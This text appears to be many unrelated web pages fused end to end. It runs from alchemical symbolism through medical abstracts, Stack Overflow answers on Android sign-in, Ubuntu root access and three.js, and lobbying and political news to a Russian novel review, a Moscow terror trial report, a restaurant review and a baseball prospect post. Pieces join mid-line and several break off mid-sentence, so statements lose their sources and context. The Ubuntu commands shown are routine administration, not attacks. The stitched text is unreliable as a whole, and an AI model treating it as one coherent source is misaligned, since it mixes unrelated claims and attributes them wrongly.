The association of the horse and the feather puts us on the scent of cabalistic writing. And while in oral language, the Cabalah causes the sound related to one mental image to leap into another image, in the practice of the art of Hermes, this "leap" is most concretely the transfer from one corporeal state to another that the art imposes on matter, dissolving it into the flow of the indeterminate. This is done so that it can reemerge in the light of a new form that was just inscribed there by the spirit, as depicted in the tale by a goose feather. We can see why, without the "feather," the "horse" can do nothing for its rider.
We can also easily see how welcome was the fish that came out of the water at the sound of the reed pipe, holding "in its mouth the goose feather to give back to Ferdinand the Faithful." It swam in a vast sea that the rider was crossing, one similar to the one that Le Cosmopolite considered when, in his _A Parable or Philosophical Enigma,_ wondering about the presence of a "small fish called _Echeneis_ " while he sailed "from the Arctic Pole to the Antarctic Pole." To be sure that Ferdinand the Faithful's small fish and that of Le Cosmopolite are of the same nature, it is enough for every "child of science" to recall that while the _Echeneis_ is famed for "absorbing the secret fire, the igneous energy of the Salamander," the little fish in the story carries in its mouth the "carved feather" that the horse needs to "bring the writings back to the castle." And what is rare in this sport at the water's edge, the fishing here is performed by the art of music.
No catechism |
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] | short, declarative sentences are easily digested by the very youngest and will tempt burgeoning readers to test their skills. Best of all, children will surely be inspired to taste some of the produce the next time it appears on their plates.
Delicious on its own, and it will pair well with other books about gardens, plants and healthy eating habits. (Informational picture book. 2-5)Penile dermal flap for defect reconstruction in Peyronie's disease: operative technique and four years' experience in 17 patients.
Peyronie's disease is not uncommon. Despite its self-limiting nature in many patients and the multiplicity of available non-invasive treatment modalities, a few patients will eventually require surgery if deformity or impotence is severe and conservative measures have failed. Currently available operations for Peyronie's disease are less than ideal. The two most popular operations employed for this condition are the 'tucking' procedure of Nesbit (and its excision-plication variants) and the free dermal graft of Horton and Devine. In addition, many other autografts and synthetic grafts have been described by different workers. Some have used prostheses in these patients for straightening the penis in the absence of proven concomitant organic impotence. Unfortunately, none of these operations has fulfilled all desiderata. The author has worked at developing a live graft source (flap) which is free from many of the drawbacks experienced with other procedures. In this new operation, dermabraded penile dermis is raised on its vascular fascial pedicle and used to close the defect in the tunica albuginea consequent upon plaque incision. This technique is feasible in both circumcised and uncircumcised patients. This is the first report of the use of a flap in Peyronie's disease. Operative technique and results in 17 patients over 4 years are presented. The author's experience seems to suggest that this is an ideal operation for Peyronie's disease.Q:
Android getServerAuthCode() without extra permissions
I'm trying to authenticate an Android user with a backend server:
the app calls getServerAuthCode() and forwards the authorization code using HTTPS to our BE
the BE exchanges the server authorization code for an access token using GoogleAuthorizationCodeTokenRequest
the BE passes the access token to www.googleapis.com/games/v1/applications which returns the playerId (that's all I really need, I don't care for email and other user information)
The procedure is outlined here:
https://android-developers.googleblog.com/2016/01/play-games-permissions-are-changing-in.html (2016)
and here
https://android-developers.googleblog.com/2016/12/games-authentication-adopting-google.html (2017)
If I use the the instruction from 2017 I'm able to getServerAuthCode() without requesting any extra permissions. The only permission is: Google Play / Manage your game activity for this game. This is possible by specifying GoogleSignInOptions.DEFAULT_GAMES_SIGN_IN which is available on by using play-service 10.2.1. I'm unable to use 10.2.1 because of 3rd party dependencies.
The 2016 article explains how to getServerAuthCode() the 'old' way (using play-services 9.6.1), but I'm not able to get by without requesting some extra permissions.
If I do it like this, I get the asked for "Know who you are on google":
GoogleSignInOptions gso = new GoogleSignInOptions.Builder(GoogleSignInOptions.DEFAULT_SIGN_IN)
.requestServerAuthCode(serverClientId)
.requestScopes(Games.SCOPE_GAMES)
.build();
mGoogleApiClient = new GoogleApiClient.Builder(this)
.addConnectionCallbacks(this)
.addOnConnectionFailedListener(this)
.addApi(Auth.GOOGLE_SIGN_IN_API, gso)
.build();
...
protected void onActivityResult(int request, int response, Intent data) {
super.onActivityResult(request, response, data);
if (request == RC_SIGN_IN) {
GoogleSignInResult result = Auth.GoogleSignInApi.getSignInResultFromIntent(data);
if (result.isSuccess()) {
GoogleSignInAccount acct = result.getSignInAccount();
String authCode = acct.getServerAuthCode();
}
If I remove .requestServerAuthCode(serverClientId) from gso, authCode is null.
Another thing I tried (using only Games.API sign in):
mGoogleApiClient = new GoogleApiClient.Builder(this, this, this)
.addApi(Games.API)
.build();
...
Games.GetServerAuthCodeResult result = Games.getGamesServerAuthCode(mGoogleApiClient, serverClinetId).await();
if (result.getStatus().isSuccess()) {
String authCode = result.getCode();
I get result.getStatus().isSuccess()=false and result.getStatus().getStatusMessage() returns STATUS_CLIENT_RECONNECT_REQUIRED (2). In the logs I see:
[GetToken] GetToken failed with status code: NeedPermission
04-10 14:27:41.764: W/GamesServerAuthCodeOp(5775): Failed to retrieve the server auth code
04-10 14:27:41.764: W/GamesServerAuthCodeOp(5775): com.google.android.gms.auth.UserRecoverableAuthException: NeedPermission
Finnaly, the best I was able to achieve is to get 'only' the "View your basic profile info" permission doing this:
Scope scope = new Scope("https://www.googleapis.com/auth/userinfo.profile");
mGoogleApiClient = new GoogleApiClient.Builder(this, this, this)
.addApi(Games.API)
.addScope(scope)
.build();
So to recap - I want to get the server authorization code using 9.6.1 without being prompted for any extra permissions (like in the 2017 article using 10.2.1 using DEFAULT_GAMES_SIGN_IN).
Are there any scopes I can use that will give me the server authorization code (to get the playerId) without requesting extra permissions?
A:
Unfortunately, no. The scope you're already using is the right (and the simplest) way to retrieve an auth code and at the same time get a playerId.
Type 2 diabetes as a familial illness: Findings from a focus group study.
Type 2 diabetes mellitus (T2DM) is a prevalent illness with high societal and personal costs. Whereas there is some systemic research, there are still many pieces yet unknown about T2DM and families. The purpose of the current study is to understand the transgenerational health experiences related to T2DM for both patients and caregivers. Focus groups were the primary methodology. Interviews were recorded, transcribed, and coded for themes. Participants were recruited via community fliers and e-mail listservs. The primary inclusion criterion was having a (a) family history of T2DM or (b) personal history of T2DM. Participants also needed to be at least 18 years old and be able to read and speak English. In 4 focus groups, 32 people were interviewed. The sample was entirely rural yet reasonably diverse. Five dominant themes emerged from the data: physical health comorbidities, T2DM is a lifestyle illness affecting the whole family, mental health stresses and comorbidities, personal and family relationship with T2DM, and sharing knowledge. Participants indicated that their families had been influenced by T2DM and that the illness had both physical and mental health comorbidities-both of which caused considerable stressors. Participants also reported that they valued the sharing of knowledge related to T2DM with each other and people in their lives. Limitations to the study include lack of generalizability because of small sample size and the majority of recruitment being done via technology. Future research should include larger, more diverse samples and quantitative data collection. Implications are also discussed. (PsycINFO Database Record (c) 2019 APA, all rights reserved).For indispensable reporting on the coronavirus crisis, the election, and more, subscribe to the Mother Jones Daily newsletter.
On Saturday, President Donald Trump expressed his admiration for the “patriotic” supporters who chanted “send her back” at a recent North Carolina campaign rally, in reference to Minnesota Democratic Rep. Ilhan Omar (who came to the United States when she was 10-years-old).
It’s a weird definition of patriotism that would cast a former refugee who committed herself to public service as its antithesis, in the same way that it’s bizarre to suggest that a naturalized citizen currently serving in Congress still hasn’t “assimilated.” For someone who literally put the slogan on his forehead, Trump doesn’t seem to have much of a clue of what actually makes America great. Maybe Michelle Obama can set him straight. Here’s how she responded to the president’s attacks on Omar:
What truly makes our country great is its diversity. I’ve seen that beauty in so many ways |
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24215
] | per cent of the peppermint sold in the US is descended from a mutant in a neutron-irradiated source."
• If you aren't running a "gamma garden," beware that peppermint can actually be considered an invasive plant to home plots!
&amp;amp;amp;amp;amp;nbsp;
Also on Mental Floss:
DID YOU KNOW? Marlon Brando hated memorizing lines so much that he posted cue cards everywhere to help him get through scenes.
He even asked for lines to be written on an actress's posterior. (That request was denied.)Top lobbying firms saw huge revenues in the third quarter of 2019, keeping the influence world's Trump-era boom going strong.
Akin Gump is at the highest-grossing spot, according to the latest Lobbying Disclosure Act reports. The firm reported $11.3 million in revenue for the third quarter, up over 27 percent from the third quarter of 2018.
ADVERTISEMENT
“Contrary to conventional wisdom about legislative activity in Washington, this year has been exceptionally busy for our firm and our clients leading to both our largest quarter and our largest back-to-back quarters in firm history,” Hunter Bates, co-head of Akin Gump’s public law and policy practice, said in a statement.
Bates touted the firm's bipartisan team, saying that “more and more clients are seeking the one-two punch of our lobbying team combined with our expansive team of regulatory lawyers.”
Brownstein Hyatt Farber Schreck reported $10 million for the third quarter, which is a 22-percent increase from the third quarter of 2018.
Marc Lampkin, Brownstein’s government relations department chairman, said that although Washington is now in the grips of impeachment drama, that hasn't stalled work for lobbyists.
“Last quarter reflects again the strength of our team, a great bipartisan team, among some of the strongest young lobbyists in town. I think what we’re seeing is that Washington really can walk and chew gum at the same time,” he told The Hill. “The talking heads all talk about impeachment and oversight but my sense is that both chambers are focused on solving many complex problems.”
He mentioned health care, technology, transportation, trade with China and the push to approve the new trade deal with Mexico and Canada as policy issues that are keeping the firm busy.
BGR Group reported $7.43 million in revenue, up from $7.24 million in the second quarter.
Squire Patton Boggs also saw growth with $6.33 million in revenue, up from $6.04 million in the second quarter. It reported $6.08 in revenue this time last year.
Holland & Knight reported $6.40 million for the third quarter, up from the $6.04 million it made it the third quarter of 2018.
There’s stiff competition on K Street among smaller firms, many of which reported similar revenues.
Heather Podesta’s firm, Invariant, reported $4.37 million, up over 14 percent from the last quarter when it reported $3.81 million. It has made $11.63 million so far in 2019, up over 21 percent from the $9.54 million it made in the first three quarters of 2018.
K&L Gates saw a slight decline, which it attributed to an increase in its other client work. The firm reported $4.35 million in revenue, down from $4.42 million in the second quarter.
“Our business continues to grow with non-LDA regulatory and investigations legal work generating revenue for the firm,” said Darrell Conner, head of the K&L Gates policy practice.
“It is one of the values of a law firm platform – we can leverage non-lobbying legal work during periods like a long August congressional recess to help offset the traditional declines in LDA revenues.”
Mehlman Castagnetti Rosen & Thomas remain close behind at $4.2 million in revenue, up from $4.1 million in the second quarter and from $3.8 million this time last year.
Cassidy & Associates made $4.03 million in revenue, up from $3.78 million in the second quarter and $3.7 million this time last year.
Forbes Tate Partners reported $3.83 million in revenue, up from $3.68 million in the second quarter and $3.32 million this time last year. It has made $10.99 million so far in 2019.
CGCN made $2.28 million in revenue, which is up from $2.22 million this time last year.
And, Monument Advocacy reported $2.17 million in revenue, up 5 percent from this period last year. So far for the year, the firm has reported $6.68 million in revenue.Q:
How to save a tab group in Firefox Panorama?
I recently started using Firefox Panorama. If I create a tab group that contains, for example, my favorite Stack Exchange websites, can I save ("bookmark") this tab group for easy access if I start a new session?
A:
I got an answer for the firefox forum:
You can bookmark all those tabs and place them in a folder. "Bookmark This Page" and "Bookmark All Tabs" no longer show in the Bookmarks menu unless you open the Bookmarks menu via the keyboard (Alt + B). "Bookmark All Tabs" can be accessed via the right-click context menu of a tab on the tab bar.
Teams losing coin toss pay penalty - tshtf
http://www.ft.com/cms/s/0/7087e55a-8462-11df-9cbb-00144feabdc0.html
======
RiderOfGiraffes
Requires me to register ... I'm not _that_ interested ...
Сказать, что «мнения о романе разделились» или что «книга вызвала противоречивые реакции», значило бы сильно смягчить ситуацию. Роман будто обозначил демаркационную линию, разделившую российских критиков на два непримиримых лагеря. Для критиков-традиционалистов «Чапаев и Пустота» очевидно воплотил всё самое ненавистное в постсоветской (или постмодернистской) прозе, прежде всего — установку на литературу как игру, не имеющую за собой духовного или социального содержания. Андрей Немзер на страницах газеты «Сегодня» предлагает просто заполнить отведённый для рецензии объём чёрным прямоугольником. Павел Басинский пишет в «Литературной газете» (невольно или сознательно отсылая к записным книжкам Блока — «лезет своими одесскими глупыми лапами в нашу умную петербургскую боль»): «Каждый различающий и уважающий своё национальное, профессиональное, то есть в конце концов культурное, лицо человек не может воспринимать прозу Пелевина иначе, как хамское нарушение незыблемого privacy, какого-то неписаного закона: не касайся холодными руками того, что другими руками согрето, что тебе забава, а другим мука и радость» (Пелевин не останется в долгу, выведя критиков в унизительном виде и под легко узнаваемыми псевдонимами в своих следующих книгах). Чуть позже эту позицию косвенно поддержит жюри «Русского Букера» Литературная премия, вручавшаяся в 1992–2017 годах за лучший роман на русском языке. Была учреждена по инициативе Британского совета как российский аналог английской Букеровской премии |
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] | components in order to give you the best chance of success at getting back into work. Because this book takes a holistic view of redundancy, one of the key elements to master first of all is wellbeing skills, before progressing through exploring what options are available to you and later, learning the practical job skills. This book is different because it does not just focus on one element of redundancy, but on the many barriers you need to conquer if you are to successfully get back into work, I show you how to deal with the inner trauma and turmoil of being made redundant (health and wellbeing skills), before focusing on the practical elements such as job skills, and deciding on your future path.
I have worked in management roles for seven years. Part of my management duties entailed interviewing, recruiting, training and coaching staff and I took part in every aspect of the recruitment process from placing the advert to completing staff inductions and training. I have also experienced the other side of the recruitment process, when I was applying for work and being interviewed for jobs whilst redundant. I have been made redundant twice and each time managed to successfully work my way back up the career ladder. It is from experience that I have gained insight into both points of view and I am able to help others.
This book is the first Quirky Book that I published and it's under my own imprint of Quirky Books. It's unique and groundbreaking because it combines two genres, an A-Z Guide with a How To book. Each of its A-Z chapters is about an element of redundancy, and within each chapter it explains how to do things related to that element to break though your barriers of redundancy and beat your redundancy blues. That’s what makes it a quirky book.
Buy it from Amazon UK: http://www.amazon.co.uk/BREAK-THROUGH-BARRIERS-REDUNDANCY-GUIDE-ebook/dp/B0128RWB5O
Buy it from Amazon USA:
http://www.amazon.co.uk/BREAK-THROUGH-BARRIERS-REDUNDANCY-GUIDE-ebook/dp/B0128RWB5O
Like on Facebook www.facebook.com/BreakThroughTheBarriersOfRedundancyBook
You can view my quirkybooks writing blog at http://www.quirkybooks.wordpress.com
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Candy & Licorice
The Netherlands is the largest consumer of licorice per capita in the world. When we talk about Dutch licorice, we are not talking about red vines or twists – this is hard core Dutch black licorice. We import a large assortment of licorice and we’ve got a “wall of licorice” in our store.
Licorice is often referred to as Drop or Dropjes in The Netherlands. The best varieties are made with real licorice root. Before the actual process of making licorice confections came along, licorice root was chewed because of its typical sweet anise flavor and medicinal effects.
Salty varieties are unique to Dutch black licorice. These salty varieties contain ammonium chloride, which is offset by the sweet nature of licorice extract. Dutch black licorice is made in just about every shape and texture you can imagine. From Flat little diamonds known as Salmiak pastilles, to Farm animal shapes, buttons, coins (aka Munten in Dutch), squares, triangles, bee hives, logs, cubes (griotten), balls, sticks, and pellets. Texture from very soft, soft, firm, and just plain hard. The significant brands from Holland are Venco, Red Band, Klene, Gustafs, Meenk, Mattijs, Katja along with many other minor brands or types. Click here to see all of the Dutch black licorice selections online.
Our candy selection includes a complete selection of chocolate bars imported and made in the USA, bulk wrapped candies, Birnn Truffles from Vermont, Albanese Gummi products, Ginger People ginger candies, every flavor of Mentos, King and Wilhelmina Peppermints. Haribo Gummies, Bali’s Best coffee candy, Winegums, and Canada mints in 4 flavors. Nostalgic confections and favorite childhood treats round out the assortment for young and old.
Next to our wall of licorice we have 21 colors of M&M’s in bulk. Great for candy bars or special occasion events that require color coordinating – also school colors. Last by not least – Jelly Belly’s in over 40 different flavors including their famous 49 flavor assortment. You can make your own assortment or enjoy your favorite flavor.Why are divorce rates higher in religiously conservative “red” states and lower in less religiously conservative “blue” states? After all, most conservatives frown upon divorce, and religious commitment is believed to strengthen marriage, not erode it. Even so, religiously conservative states Alabama and Arkansas have the second and third highest divorce rates in the U.S., at 13 per 1000 people per year while New Jersey and Massachusetts, more liberal states, are two of the lowest at 6 and 7 per 1000 people per year.
Evangelicals and divorce. For a new study appearing later this month in the American Journal of Sociology, Demographers Jennifer Glass at the University of Texas and Philip Levchak at the University of Iowa looked at the entire map of the United States, going county by county, to examine where divorces occurred in 2000 and what the characteristics of those counties were. Their work confirms that one of the strongest factors predicting divorce rates (per 1000 married couples) is the concentration of conservative or evangelical Protestants in that county.
Figure 1. Map of U.S. counties by divorce rate
Previous discussions of this puzzling paradox have focused on three alternative explanations.
Is it poverty? Some scholars argue that it has nothing to do with religious beliefs and practices, but reflects the fact that conservative religious groups are most concentrated in rural and Southern counties, which tend to have lower wages than the national average and higher rates of poverty. And research does show that such conditions do raise the risk of divorce. Yet even controlling for income and region, divorce rates tend to be especially high in areas where conservative religious groups are prominent.
Is it higher rates of marriage overall? Others believe that the higher divorce rates among religious conservatives are due to their endorsement of marriage as a good thing in and of itself and their disapproval of cohabitation as a replacement. This means that some unstable or troubled couples go ahead and marry who might simply cohabit if they lived in counties with less religious disapproval. Since cohabitations often dissolve relatively quickly but do not show up in divorce statistics, some scholars suggest that marriage in conservative religious communities is less selective of strong relationships. But in Glass and Levchak’s study, the link did not hold up. So even though conservative Protestants are much less likely to cohabit, this didn’t make a difference. There was no evidence that cohabiting would have “weeded out” the less promising unions
Is it just regional culture in religiously conservative Southern states? A third explanation offered before is that the dominance of religious conservatives in the South reflects a regional culture that also promotes relatively high rates of interpersonal violence – factors that destabilize marriage. But while high rates of violent crime do increase divorce rates, Glass and Levchak found that a careful analysis of variations nationally reveals that this explains none of the association between religious conservatism and divorce.
New answers: early marriage and low income among religious conservatives are part of the story. Unpacking these variations, Glass and Levchak found that the high divorce rate among conservative religious groups is indeed explained in large part by the earlier ages at first marriage and first birth, and the lower educational attainment and lower incomes of conservative Protestant youth.
Explains Glass, “Restricting sexual activity to marriage and |
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] | . Eighty-nine people sought medical attention after the blast; fifty-one of them were hospitalized.
The same day, it transpired that two simultaneous blasts had been planned instead of the one. Another bomb, three times more powerful than the one set off, allegedly, by Jalilov, was found camouflaged as a fire extinguisher by Albert Sibirskikh, an inspector at Ploshchad Vosstaniia subway station. A cursory examination of the bomb revealed it would have been detonated by a mobile phone.
The place where most of the defendants were found at the wrong time was the Lesnoye Cafe in Moscow Region’s Odintsovo District, where Jalilov worked as a cook between December 2016 and March 2017. Another such place was a flat at 22/1 Tovarishchesky Prospect in Petersburg. It was here, while they arrested five of the suspects on April 5, 2017, that FSB officers were alleged to have found components of an explosive device. The indictment claims that Jalilov and five of the defendants lived in the flat.
Investigators allege that brothers Abror and Akram Azimov had acted as Abu Salah’s agents in Russia. He supposedly sent them money to buy parts for the explosive device.
Defendants are typically reluctant to talk to the press [sic], but in this case it was quite the opposite. During the hearing, both Azimov brothers petitioned the court to have their testimony televised.
“We are willing to explain how we got mixed up in this case and how we were forced to testify. We are only random Muslims. We have done nothing else wrong,” the Azimov brothers told the court.
Judge Morozov rejected their motion to have their testimony filmed, arguing that only the reading of the verdict could be recorded.
All the defendants in the case have refused to plead guilty to involvement in terrorism. Yana Teplitskaya, a member of the Petersburg Public Monitoring Commission (PMC), told us that she had information the defendants had been tortured. According to Teplitskaya, the Muhamadusup brothers [sic] and Ibrahim Ermatov had related to PMC members that investigators had subjected them to physical violence, but their injuries had not been officially certified by medical personnel. PMC members promised to released more detailed information in the near future.
Defense lawyers also claimed their clients were ordinary people who had accidentally been caught up in the juggernaut of the investigation.
“He pleads not guilty,” Ketevan Baramiya, defense attorney for Ibrahim Ermatov, told us. “It’s a great pity the court rejected the motion to videotape the testimony. The defendants are willing to explain how they got mixed up in this case.”
However, it was not only defense lawyers who had the impression the FSB had chosen the “terrorist conspirators” at random.
“Frankly speaking, they don’t really look like terrorists,” said Yuri Shushkevich, who was injured in the terrorist attack, “especially that woman.”
He meant Shohista Karimova, who has been charged with aiding and abetting the alleged terrorists by buying SIM cards for mobile phones and storing an F1 grenade, which she claims was planted in her domicile by FSB field officers.
“They all look like ordinary guys, but how would I know what terrorists look like?” wondered Shushkevich.Q:
I created an Ubuntu server. Do I have a "root" user?
I always thought "root" was a default user created when you install basically any Linux. During installation, it asked me to choose a username, so I picked "devadmin". Is that my "root" user now?
A:
You have a single user, who can use sudo.
To become actually root:
sudo su
To HAVE a root account:
sudo passwd root
(then type a new password, and that will be your new root account's password.)
A:
On every Linux system, there is a root account. It's safer to not use it for everyday tasks though, because careless typos on the command shell or bugs in software could otherwise seriously mess up your system.
The root account might not have a password, so you're not able to directly log in as root. But your primary user account is probably one of the sudoers, users able to use the sudo program to execute specific programs as root (sudo whoami) or, for longer administrative tasks requiring multiple steps, open a shell as root (sudo -s).
By running sudo passwd, you can set a password for root if you really need it, but it's likely that you don't and will just invite accidents like accidental file deletions.
A:
If you need a root shell for a longer time you could use the -s option with the sudo command:
Just type
sudo -s
to create a permanent root shell. And type
exit
to leave the root shell when you're done with your work.
Craptastic Broad Street Bullies Burger
When the Comcast/Ed Snider people decided to knock down the Spectrum, they decided to build a big entertainment complex with restaurants and arcades and all sorts of cool stuff. What they ended up building was a bunch of shitty pseudo-restaurants, one steak house and a giant tv with a communal area in the middle to get your bro on.
I avoided this place like the plague. The place has been there for quite awhile and I managed to not step foot in the bro-fest. However, after a fun afternoon watching college hockey with some friends at the Wells Fargo Center, we ended up there. The first tip off that something was amiss? They were pumping the place with fake smoke to make it spooky, which made it look like there was a low grade fire somewhere in the building. Just what I’m looking for when I want to eat and drink: asphyxiation. We waded our way thru the masses of people and the workers, who all looked like they had never seen customers before, which was odd. The place was packed with Penn State fans of all ages, because the hockey game was a special Penn State hockey game at the WFC. They were a pretty jolly bunch and were all ready to watch the Penn State-Ohio State football game. Except they only were going to show it in one small area of the building. Way to play to the crowd, Xfinity Live.
We wandered into The Broad Street Bullies Pub and it was a zoo. Bros were watching the Flyers and people were running around in costume, it was a mess. Is it a pub & restaurant, or is it a bro bar? They sat us down quickly and, after kicking squatters off the table, our waitress came over, slid menus at us and walked away. At this point there is nothing on the round table for the 4 of us: no utensils, condiments, coasters, drinks, nothing. The waitress came back in a minute to take our order and, of course, we weren’t ready. After awhile she returned, took our drink orders, then after a long time, our food orders and then we waaaited. I think I could have grown my own cow waiting. Me, Pat and JBS all ordered the Pub Burger: “Jarlsberg Swiss cheese, caramelized shallots, bacon and fried egg” for $13. Sounds good right? All thier burgers are actually “two quarter pound all beef Angus patties stacked and grilled to perfection”. That is, apparently, menu-speak for “2 dry, burned pieces of crap with a really overcooked egg on a stale roll for $13”.
Let’s get down to it, shall we?
Thirteen Dollars
This is what $13 dollars (well, $15 because to sub for fries, it’s 2 bucks more) gets you at The Broad Street Bullies Pub. I ate like 4 fries before I took this picture. The only reason there is ketchup on my plate is because Pat’s mom turned around and grabbed the condiment caddy from the station for us. It had napkins and ketchup and stuff on it. Otherwise we would have been shit out of luck. The 2 waitresses that brought our 4 plates of food (no kidding) dropped and ran. No condiments, no utensils, no phone, no light, no motorcar.
Pub Burger
This is the closeup of the Pub Burger. You can already see the charred edges and the melted cheese that had firmed up. Swiss isn’t a good cheese to melt and keep melted anyway. Somewhere in there, there is, and I am not kidding, a postage stamp sized piece of bacon in there. Somewhere. *Cue Fievel singing “Somewhere Out There”.
Crappy Burger
This is what a burned burger looks like. Not “char grilled” but burned. I had two of them. You know what they reminded me of? Have you ever gone to a Barbeque at someone’s house and they made burgers with nothing in them, just meat? No salt, no pepper, no onion, no nothing, and then they bragged for like 3 hours about how amazing they are on the grill? And then they burn the ever living shit out of everything, so that you have to cover all the food in some kind of condiment in order to be polite and choke down the |
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] | different between groups. Exenatide added to TZDs alone or in combination with metformin significantly improved glycaemic control as determined by significant improvement in HbA(1c) without associated hypoglycaemia.F21 Contemporary We borrowed the boxy silhouette and chambray fabrication of this collared Life in Progress shirt from classic men's workwear (so you can finally stop stealing the shirts from his closet) then updated it with pleated utility pockets and a covered button placket modern details that balance its slightly oldfashioned ethos. We're playing up this piece's borrowedfromtheboys feel by teaming its unstructured fit with slim cuffed jeans and desert boots just don't forget to add a bright lip and a pretty topknot (because the best part of tomboy dressing is gussying it up with a few coolgirl touches). Lightweight woven. Unlined long sleeves. 100% lyocell. 21" full length 20" chest 20" waist 24" sleeve length. Measured from Small. Machine wash cold. Imported.Q:
Problems verifying and running javascript (html5 canvas)
For one of my courses I need to program a 3D application in html5 canvas. For this I chose to use Three.js. For now, all I'm trying to do is render a simple plane. I also want to be able to move the camera along the x-axis by holding down the mouse and dragging. I based my code on the code found here. It's basically a plane which is spinning around (or the camera is circling around the plane, not sure which). I threw away all the code for the animation and added code for mousedown, mousemove, etc events. When I load the page it renders the plane (inanimate) just fine, but when I try to use my mouse to move it around it remains completely unresponsive. In my code you may have noticed I changed some things I maybe shouldn't have (made some variables global and changed some function names) in order to get things working, but the result remained the same.
This is the first time I'm working with javascript and I realize I can't just change existing code and expect it to work. I looked into javascript verification and I found JSLint. I downloaded the plugin for notepad++ and tried to verify my code that way. It doesn't like the html tags and it especially hates the Three.js library I'm trying to import. It doesn't pick up on it when I import it as url and it doesn't import it when I download it and import the file either. When I just copied the code of the entire library into the file it just gave me a lot of errors about the library itself and stopped verifying somehwere before my code even started.
In conclusion: I would like some help with the project itself but also with setting up a pleasant development environment (with proper verification that doesn't ignore imports).
Finally, my code so far:
<!DOCTYPE HTML>
<html>
<head>
<title>Canvas demo</title>
</head>
<body>
<script type="text/javascript" src="three.js">
</script>
<script type="text/javascript">
var camera;
var scene;
var plane;
var renderer;
var clickX;
var clickY;
var mousedown;
window.onload = function () {
renderer = new THREE.WebGLRenderer();
renderer.setSize(window.innerWidth, window.innerHeight);
document.body.appendChild(renderer.domElement);
//camera
camera = new THREE.PerspectiveCamera(45, window.innerWidth / window.innerHeight, 1, 1000);
camera.position.y = -450;
camera.position.z = 400;
camera.rotation.x = 45;
//scene
scene = new THREE.Scene();
//plane
plane = new THREE.Mesh(new THREE.PlaneGeometry(300, 300), new THREE.MeshBasicMaterial({color: 0x0000ff}));
plane.overdraw = true;
scene.add(plane);
rerender();
};
window.requestAnimFrame = (function (callback){
return window.requestAnimationFrame ||
window.webkitRequestAnimationFrame ||
window.mozRequestAnimationFrame ||
window.oRequestAnimationFrame ||
window.msRequestAnimationFrame ||
function(callback){
window.setTimeout(callback, 1000 / 60);
};
})();
function rerender(){
//render
renderer.render(scene, camera);
//request new frame
requestAnimFrame(function(){
rerender();
});
}
$('#canvas').mousedown(function(e){
clickX = e.pageX - this.offsetLeft;
mousedown = true;
});
$('#canvas').mousemove(function(e){
if(mousedown) {
var xDiff = e.pageX - this.offsetLeft - clickX;
camera.position.x = xDiff;
rerender();
}
});
$('#canvas').mouseup(function(e){
mousedown = false;
});
$('#canvas').mouseleave(function(e){
mousedown = false;
});
</script>
</body>
</html>
A:
You have various issues here that are preventing your code from running properly. I've gone through and fixed them, and you can now move the camera along the x-axis:
http://jsfiddle.net/TVWYn/6/
Your issues were:
You're using jQuery and not including the jQuery library. The dollar
sign function is not part of JavaScript, it's (in this case) part of
a third-party library called jQuery that makes working with the DOM
easier. Without including the jQuery library, your mouse handlers
couldn't run.
Even with jQuery included, the order in which your setup functions
executed was incorrect. Originally you had your Three.js setup
process such that it would execute once the DOM was initialized.
That's good. However, you were trying to register mouse event
handlers immediately after the JS was acquired by the browser. This
is not good. You're asking JS to attach mouse event handlers to DOM elements that don't exist at that point in time. To fix this,
you need to ensure that the DOM has been initialized (ex. running your setup inside a window.onload) and your
required elements have already been inserted (in this case,
#canvas). Or, attach your event handlers to the DOM objects directly (ex. renderer.domElement).
You were referencing #canvas without ever setting the id of your
canvas element.
With regard to setting up a proper development environment, I would strongly suggest that you start using Chrome and its developer tools (which are launched via ctrl+shift+j).
"There are some unusual legal and professional conundrums that
you come up against in this type of treatment," said Dr. Mark
McClung, who directs psychiatric treatment at the Special Commitment
Center, McNeil Island, Wash., and is a psychiatrist in private practice
in Seattle.
The SCC in Washington was created after the state legislature
passed its sexually violent predator law in 1989, following several
highly publicized sexual assaults and sexually motivated homicides. The
legislature cited the need for a commitment law for a "small but
extremely dangerous group of sexually violent predators" who did
not have a mental disease under the existing involuntary commitment act.
There are currently 127 male and 1 female sexual predators on the
SCC unit at McNeil Island, ranging in age from 18 to 70 years. Sixty
percent of the residents, mostly rapists and pedophiles, have chosen to
participate in sex offender treatment, and 30% are on psychotropic medication. Six have been released by court order and are living in
different community settings, either assisted residential living or with
family members, Dr. McClung said at the annual meeting of the American
College of Forensic Psychiatry.
Antiandrogens are an accepted part of sexual offender treatment at
SCC. Studies show these medications lower "reoffense" rates in
sexual predators up to 9 years, Dr. McClung said. However, patients and
their attorneys sometimes request or demand treatment with antiandrogens
for the purpose of being released early, rather than recovery "Does
an offender have an absolute right to be placed on antiandrogens?"
Dr. McClung asked.
Such questions are difficult to resolve. He has found that
antiandrogens are most helpful when administered near the of
Fender's release date. The decision of whether to prescribe them
should often be made on a case-by-case basis.
About 40 residents at SCC are receiving psychotropic medication for
Axis I disorders, including paraphilia. A minority has compliance
problems, and whether or not they should be involuntarily medicated has
occasionally had to be resolved by the state's courts.
COPYRIGHT 2002 International Medical News Group
No portion of this article can be reproduced without the express written permission from the copyright holder.Q:
After drawing circles on C# form how can i know on what circle i clicked?
I have to represent |
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] | more effective, ERA-wise, each season. His peripherals aren’t special (88 K’s and 30 BB’s in 98 innings), but there’s nothing particularly bad about them either.
The scouting report has him with a 2-seam FB that sits around 90, bumping up to 93, with a good curveball he can manipulate. In 2016, his catcher in High-A, Tyler Marlette, said that “He was probably one of my tougher guys to catch, honestly. His two-seam runs so much, it’s just electric.” In that story, Herb said he was also working on a slider.
My favorite quote came from a different article, earlier in the year. He struck out 19 batters in 11 innings in his first two starts, but he said to milb.com:
"I actually said after our last game that I need to get some more early contact so I can go deeper into games.”
Baseball Prospectus said, in their scouting report, “some maturity issues, poor adversity response”. He has had some problems in the past, but I love the thought that comes with that quote.
Herb has not been a part of prospect rankings in the Mariners system, anywhere. Baseball Prospectus has his realistic ceiling as a middle reliever, with perhaps, if you squint real hard, a back-end starter as a groundballer. In three years of MinorLeagueBall.com gradings, Herb has not even gotten a mention. Not at the C level, nor in the comments.
But, my take is this: This is a better player than I expected in the PTBNL return. He’s far from a sure thing major leaguer. But he’s a player on the upswing, with sustained career improvement. He’s continuing to show improvement in his control, but not spiking in a way that might predict a downswing. But even if he doesn’t push the majors, he’s starting depth at the high levels. With Clayton Blackburn traded, Joan Gregorio suspended, and perhaps a trade of Johnny Cueto…not to mention Matt Moore being unable to do anything…the Giants will need bodies at the AA and AAA levels. Herb’s not a bad one to have.
The Giants could have done a lot worse.
A Returning Old Friend
A familiar name is back with the Giants.
